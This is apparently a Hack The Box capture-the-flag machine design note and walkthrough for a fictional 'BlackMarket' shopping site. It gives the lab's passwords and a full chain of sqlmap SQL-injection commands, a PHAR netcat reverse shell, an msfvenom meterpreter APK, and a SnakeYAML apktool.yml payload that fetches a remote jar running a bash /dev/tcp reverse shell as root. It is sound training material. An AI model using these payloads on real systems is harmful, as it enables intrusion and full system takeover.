# BlackMarket
## Introduction
This challenge was created with the objective of enticing users to access a deep web shopping portal. Users are expected to exploit a time-based SQL injection vulnerability in a login mechanism to enumerate encrypted credentials using an insecure method (MD5). As part of the lateral thinking aspect, it was deemed appropriate to incorporate credential reuse within an administrator login panel.
Furthermore, an arbitrary file upload vulnerability has been introduced, allowing for the upload of .phar files and enabling remote code execution (RCE) as a 'wacky' user. To transition to the 'z3ro' user, the poor practice of storing login logs in plaintext has been included. Privilege escalation is ultimately achieved by internally enumerating open ports, and SSH port forwarding is enabled for further in-depth investigation.
The underlying idea was to develop a web tool that would subsequently be published on the main domain. This tool is currently in development and facilitates the uploading of legitimate APKs for subsequent manipulation via 'apktool.' The specific version of 'apktool' used is susceptible to command injection post-compilation. Users are expected to enumerate cron jobs, as a task executed by the root user will clean and compile all APKs uploaded by the user.
## Info for HTB
### Access
Passwords:
| User | Password |
| ----- | ----------------------------------- |
| admin | derrickak47 (Admin Panel `shopping.htb`) |
| wacky | derrickak47 (Admin Login `market-administration.shopping.htb`) |
| wacky | Grizli!2023 (System) |
| z3ro | EasyP@ss!2023765 (System) |
| root | goldEy388!202345 (System)|
| Phpmyadmin and Mysql | (`shopping.htb/phpmyadmin`)|
### Key Processes
Apache hosts two web servers:
- **shopping.htb** (Purchasing portal with time-based SQL injection on user login)
- **market-administration.shopping.htb** (Administrative web where the next products to be launched in the main domain are managed, has reuse of credentials and is vulnerable to RCE.)
Storage of credentials in plain text in /var/log/user-login.log
The cron task executed by the root user performs directory cleanup and compilation with apktool. The version of this tool is vulnerable to command injection.
### Automation / Crons
Once the machine is up and running, it is important to check if there is a cron task running by the root user.
This cron task runs a script with the following functionalities: first, it checks the existence of the directory `/opt/apks`, which contains all legitimate APK applications loaded by the user. Then, it looks for files and directories in this directory that have been present for more than 1 and a half minutes and deletes them to maintain cleanliness. It performs a similar operation in the directory `/var/www/html/files`, where APK applications for download are stored.
Once this cleaning is completed, the script searches for all directories containing the keyword "decompiled" in the `/opt/apks` directory. It then applies a regular expression to filter by ID (e.g., "decompiled-{id}"). Next, the following rule is applied: if the difference between the current time and the time the directory was created is equal to or greater than 90 seconds, a compilation is performed using the apktool tool.
This is where a potential vulnerability exists. If a malicious user manages to insert a payload into the `apktool.yml` file and the root user executes the compilation, a command injection could occur in the context of the root user.
### Firewall Rules
There is a rule applied at the iptables level that flags and blocks all "wacky" traffic on internally open port `43534` (to prevent port forwarding and unintentional root escalation).
```
MARK all -- anywhere anywhere owner UID match wacky MARK set 0x1
DROP tcp -- anywhere anywhere tcp dpt:43534 mark match 0x1
```
### Docker
N/A
### Other
Most CVEs for Shopping Portal v3.1 have been resolved, except CVE-2023-37772.
# WriteUp
## Enumeration
### Nmap
```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.245 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.245
```

We found a web server and SSH running on its usual ports.
## Web Server (Port 80)
If we access `10.10.11.245` it redirects us to `shopping.htb`.

Add `shopping.htb` in `/etc/hosts` and log in again. We came across a black market where products such as 0days, ransomwares and DDOS services are sold.

If we look at the bottom of the page we find the version of the web template that is being used.

A vulnerability scan of this project reports the following CVEs.

CVE-2023-37772 indicates the presence of a SQL injection vulnerability in `/shopping/login.php` through the `email` parameter.

If we go back to the page we will see that there is a login button.

This redirects us to a user instance to register and log in.

## SQLI time-based
I find a POC to check the veracity of the vulnerability.

I open burp and inject the payload in the `email` parameter.

If we check the server's response time, we can observe that it took 10 seconds, indicating a vulnerability to time-based SQL injection.

The intention at this point is to enumerate all the databases with sqlmap to speed up this process a lot (we can even add threads).
`~$ sqlmap -u "http://shopping.htb/shopping/login.php" --method POST --data "email=FUZZ&password=test&login=" --batch --threads=5 --dbs`

We see that a database called shopping seems to be the one being used in the black market, let's list its tables.
`~$ sqlmap -u "http://shopping.htb/shopping/login.php" --method POST --data "email=FUZZ&password=test&login=" --batch --threads=5 -D shopping --tables`

A database called admin quickly catches our attention, we try to enumerate its columns.
`sqlmap -u "http://shopping.htb/shopping/login.php" --method POST --data "email=FUZZ&password=test&login=" --batch --threads=5 -D shopping -T admin --columns`

We managed to list two very striking columns: username and password. Let's see their content.
`sqlmap -u "http://shopping.htb/shopping/login.php" --method POST --data "email=FUZZ&password=test&login=" --batch --threads=5 -D shopping -T admin -C username,password --dump`

## Cracking MD5
We have a username and password with MD5 hash. As is well known, MD5 is not a secure option for password hashing. Therefore, we can try to crack it using precomputed tables available at crackstation.com.

Perfect, we have successfully cracked the MD5 hash and obtained `derrickak47`.
At first, we do not know the purpose of this password. However, when we perform web server fuzzing, we discover various endpoints, including one labeled `admin`.

Upon accessing this resource, we encounter a login panel intended for the administrator of the black market. If we use the credentials obtained earlier from crackstation, we are able to log in successfully.
## Admin Panel (shopping.htb)

Within this panel, we can observe that it grants us the ability to modify, insert, and perform various actions that would typically apply within the black market.

When examining the pending orders placed by users on this black market, we come across one submitted by `z3ro` who has requested an order for ransomware.

There is an option that allows us to view the updates regarding their order.


Upon clicking, we can see a message issued in the 'remark' section, informing that the order status is as follows: ***'Hello z3ro! We want to inform you that your order is currently in progress. We want you to know that our team is diligently working on your order. If you have any questions or need additional information, please feel free to contact us at the support email address: wacky@market-administration.shopping.htb.'***.
We noticed a new subdomain `market-administration.shopping.htb`, so we added it to our `/etc/hosts` file and examined its content.

It seems to be a webpage where new products for the black market will be published. By applying fuzzing, we can identify the `admin` resource.

If we access the resource, we are confronted with a web butler login panel.

We don't have specific credentials for this panel, but we have successfully cracked credentials in the past. Let's test those credentials on this panel. Also, since the subdomain was associated with the `wacky@market-administration.shopping.htb` email, we can assume that the user 'wacky' is available.
## Password Reuse

Perfect, we have successfully logged into WebButler.

If we access the `/includes` resource, we can observe that numerous files disclose the version of WebButler being utilized.

## Foothold
Knowing the version, we conducted a search for WebButler vulnerabilities and identified a remote code execution vulnerability that allows for the uploading of a malicious `.phar` file.

We create our malicious `.phar` with a reverse shell to our machine.
`~$ echo '<?php echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.11.244 443 >/tmp/f");?>' > revshell.phar`
We listen to port 443 with `nc`.
`~$ nc -lvnp 443`
We access to the `media` section and upload it.

## Shell (as wacky)
Once uploaded, we can access it by using the magnifying glass button.

If we check our netcat listener, we will see that we have received a reverse shell from the machine at `10.10.11.245`, with the user 'wacky'.

We handle the tty as follows:
```
~$ script /dev/null -c bash
CTRL + Z
~$ stty raw -echo; fg
reset
xterm
~$ export TERM=xterm
~$ export SHELL=bash
```
If we access /home, we can see that there are two directories for two different users: `wacky` and `z3ro`.

## SSH (Port 22)
We can access our directory and see that the `.ssh` directory exists.

Inside this directory we see a private SSH key.

We can connect via ssh using this private key.
`~$ sudo chmod 600 id_rsa`
`~$ ssh -i id_rsa wacky@shopping.htb`

Since there is nothing in Wacky's home directory, I proceed to list the open ports internally.

We have found an unusual port, 43534. We will try to investigate and find out its purpose. However, there appears to be a firewall rule blocking our attempt to connect when trying to set up port forwarding over SSH.
`~$ ssh -i id_rsa -L 10000:127.0.0.1:43534 wacky@shopping.htb`
## Unsecure Password Storage
If we examine the main code of the black market in the `login.php` file located at `/var/www/shopping/shopping/login.php`, we can observe that there is a function that stores all users logins in plain text.
```php=
function writeToLog($message) {
$logFile = '/var/log/user_login.log';
$timestamp = date('Y-m-d H:i:s');
$logMessage = "[$timestamp] $message\n";
$logHandle = fopen($logFile, 'a');
fwrite($logHandle, $logMessage);
fclose($logHandle);
}
```
```php=
$logMessage = "Successful login for user: $email and $raw_password from IP: $uip";
writeToLog($logMessage);
```
After a user successfully logs in, their username and password are logged in plain text in the `/var/log/user-login.log` file.

## Shell (as z3ro)
It appears that we have obtained the password for the user `z3ro`. I will now establish an SSH connection using this password.

## user.txt
We are now able to access and view the flag.

## Privilege escalation
As the user `z3ro`, we can now enable port forwarding to port 43534 and investigate its purpose.
`~$ ssh -i id_rsa -L 10000:127.0.0.1:43534 z3ro@shopping.htb`

This is a page where you can upload legitimate APK files for further modification. There is also an option to add an image to serve as the app's icon. However, it appears to still be in a production status. As we recall, on the `market-administration.shopping.htb` subdomain, we had this tool listed as the next product to upload.
Let's try to generate an apk with msfvenom and image with touch.
`~$ msfvenom -p android/meterpreter/reverse_tcp lhost=10.10.11.244 lport=443 R > file.apk`
`~$ touch image.jpg`
After uploading our APK created with `msfvenom` and our generated image using `touch`, we can observe that it assigns us an ID.

After the APK tampering process is completed, the system provides us with a download button for the supposedly 'poisoned' APK.

If we attempt to upload a fake APK created with 'touch,' the application rejects the upload because it cannot locate a file named `apktool.yml`.

What happens after it's uploaded? Let's try to inspect if there are any background cron tasks running. I will transfer pspy64 and execute it.

It appears that a cron job is executing the script located at `/opt/dir_cleanup.sh` as the root user.
If we look at its code we find the following:
```bash=
#!/bin/sh
LOG_FILE="/var/log/dir_cleanup.log"
DIR_OPT="/opt/apks/"
DIR_FILES="/var/www/html/files/"
CURRENT_TIME=$(date +%s)
{
if [ -d "$DIR_OPT" ]; then
find "$DIR_OPT" -mindepth 1 -mmin +3 -delete
fi
if [ -d "$DIR_FILES" ]; then
find "$DIR_FILES" -mindepth 1 -mmin +3 -delete
fi
for dir in "$DIR_OPT"decompiled-*; do
if [ -d "$dir" ]; then
idunico=$(echo "$dir" | sed -n 's/.*decompiled-\(.*\)/\1/p')
dir_creation_time=$(stat -c %Y "$dir")
elapsed_time=$((CURRENT_TIME - dir_creation_time))
if [ $elapsed_time -ge 90 ]; then
apktool b "$dir" -o "$DIR_OPT/compiled-$idunico"
fi
fi
done
} >> "$LOG_FILE" 2>&1
```
1. **Variables Defined**:
* **LOG_FILE**: Contains logs of the commands executed by the script.
* **DIR_OPT**: A directory where APKs are stored.
* **DIR_FILE**: Directory from which the poisoned APKs are downloaded.
* **CURRENT_TIME**: Current timestamp in seconds.
2. **Main Conditionals**:
* Two main conditionals perform the same action: they remove all directories and files in the `/opt/apks` directory that have been present for more than 1.5 minutes.
3. **Loop**:
1. There is a loop that iterates through all directories with names starting with "decompiled-" and stores each directory in a variable called dir.
2. It checks if the directory exists.
3. If the directory exists, it applies a regular expression to filter by a unique ID.
4. It calculates the difference between the elapsed time and the current time.
5. If the time difference is equal to or greater than 90 seconds, it executes the compilation of this directory and stores the result with the name "compiled-{uniqueid} in `/opt/apks`."
In summary, this script manage the cleanup of files and directories in the `/opt/apks` directory, and it also monitors and compiles directories with names starting with "decompiled-" when certain conditions are met, potentially using a unique ID. The script logs its actions in a specified log file.
If we examine the main APKGen code in `/var/www/html/index.php`, we can see how it decompiles the APK using apktool for further manipulation.

Considering that APKGen is still in production, it appears that the poisoning part has not yet been implemented.

Now that we have a clearer understanding of the application's functionality, it appears that once an APK and an image are uploaded, the application assigns a unique name like "decompiled-{unique_id}" to them and places them in the `/opt/apks` directory. Additionally, there is a scheduled cron job that periodically executes the script `/opt/dir_cleanup.sh`, which is responsible for cleaning and compiling all the directories inside `/opt/apks` that contain "decompiled-{unique_id}." This process seems to be a part of the application's maintenance and management of uploaded APKs.
## Command Injection for apktool
Since we now know that it decompiles and compiles using apktool, we can check the version of apktool for potential vulnerabilities.

While conducting the investigation, I came across a vulnerability that enables arbitrary code execution when an APK is built with a malicious apktool.yml, exploiting the SnakeYAML's load() function.
[Command injection apktool](https://huntr.dev/bounties/d2246081-21fc-4e68-9e04-5bb4095d3624/)

Here are the steps organized in a clear manner:
**Step 1:** Add the `some_var` payload to the `apktool.yml` file with the specified YAML structure, including a URL to a malicious `.jar` file:
```yaml
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.10.11.244:8000/yaml-payload.jar" ] ]]]
```
**Step 2:** Clone and access the following repository:
```bash
git clone https://github.com/artsploit/yaml-payload
cd yaml-payload
```
**Step 3:** In the `AwesomeScriptEngineFactory.java` file located in the `src/artsploit/` directory, modify the following section by adding the command you wish to execute. In this case, it's a reverse shell:
```java
Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.244/443 0>&1");
```

**Step 4:** Compile the payload using Java and create the `.jar` file:
```bash
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```

**Step 5:** Finally, host the generated `.jar` file on a web server, for example, using Python:
```bash
python3 -m http.server 8000
```

We upload our APK and image again and retrieve the ID.

We apply filtering with `grep` to verify our `decompiled-{unique_id}`.

We access our `decompiled-{unique_id}` and proceed with step number 1.

We waited a bit and received a GET request to our server requesting the `yaml-payload.jar` resource.

## root.txt
And, if we check our listening with netcat on port 443, we will observe that we have received a shell as the root user.

Now, we can view the root flag.
